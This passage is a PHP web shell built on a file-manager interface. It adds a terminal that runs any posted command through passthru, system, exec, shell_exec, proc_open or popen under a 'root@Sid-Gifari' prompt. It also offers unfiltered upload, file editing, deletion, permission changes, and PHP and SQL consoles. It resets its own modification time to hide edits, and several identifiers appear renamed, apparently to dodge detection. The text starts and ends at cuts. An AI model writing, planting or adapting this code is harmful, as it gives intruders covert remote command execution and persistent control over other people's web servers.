EG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
